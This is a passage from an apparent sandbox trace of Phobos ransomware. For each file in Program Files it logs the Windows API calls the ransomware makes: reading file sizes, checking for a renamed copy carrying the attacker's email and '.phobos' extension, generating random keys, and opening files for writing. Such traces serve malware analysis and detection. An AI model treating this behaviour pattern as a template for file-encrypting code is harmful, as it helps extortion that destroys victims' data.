controller\\pidgenx.dll")) returned 0x20 [0149.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.667] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.671] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=18624) returned 1 [0149.671] CloseHandle (hObject=0x57c) returned 1 [0149.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0149.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.671] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.673] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=244296) returned 1 [0149.673] CloseHandle (hObject=0x57c) returned 1 [0149.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0149.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.674] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.793] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=990032) returned 1 [0149.793] CloseHandle (hObject=0x560) returned 1 [0149.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0149.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.794] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.801] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=987136) returned 1 [0149.801] CloseHandle (hObject=0x560) returned 1 [0149.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0149.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.805] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.819] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=12448) returned 1 [0149.819] CloseHandle (hObject=0x560) returned 1 [0149.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0149.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.820] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.823] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20608) returned 1 [0149.823] CloseHandle (hObject=0x560) returned 1 [0149.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0149.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.824] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.826] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=100488) returned 1 [0149.826] CloseHandle (hObject=0x560) returned 1 [0149.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0149.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.826] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.827] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=367216) returned 1 [0149.827] CloseHandle (hObject=0x560) returned 1 [0149.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0149.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.827] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.828] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=48872) returned 1 [0149.828] CloseHandle (hObject=0x560) returned 1 [0149.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0149.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.828] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.834] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=168064) returned 1 [0149.834] CloseHandle (hObject=0x560) returned 1 [0149.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0149.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.848] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0149.980] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=17048) returned 1 [0149.980] CloseHandle (hObject=0x564) returned 1 [0149.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0149.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.981] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.986] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=53760) returned 1 [0149.987] CloseHandle (hObject=0x580) returned 1 [0149.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0149.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.988] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.989] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=70656) returned 1 [0149.989] CloseHandle (hObject=0x580) returned 1 [0149.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0149.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.996] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.998] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=70656) returned 1 [0149.998] CloseHandle (hObject=0x580) returned 1 [0149.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0149.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.999] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.000] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=13824) returned 1 [0150.000] CloseHandle (hObject=0x580) returned 1 [0150.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0150.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.003] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.007] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=404992) returned 1 [0150.007] CloseHandle (hObject=0x580) returned 1 [0150.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0150.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.007] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.017] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=32768) returned 1 [0150.017] CloseHandle (hObject=0x580) returned 1 [0150.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0150.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.017] CreateFileW 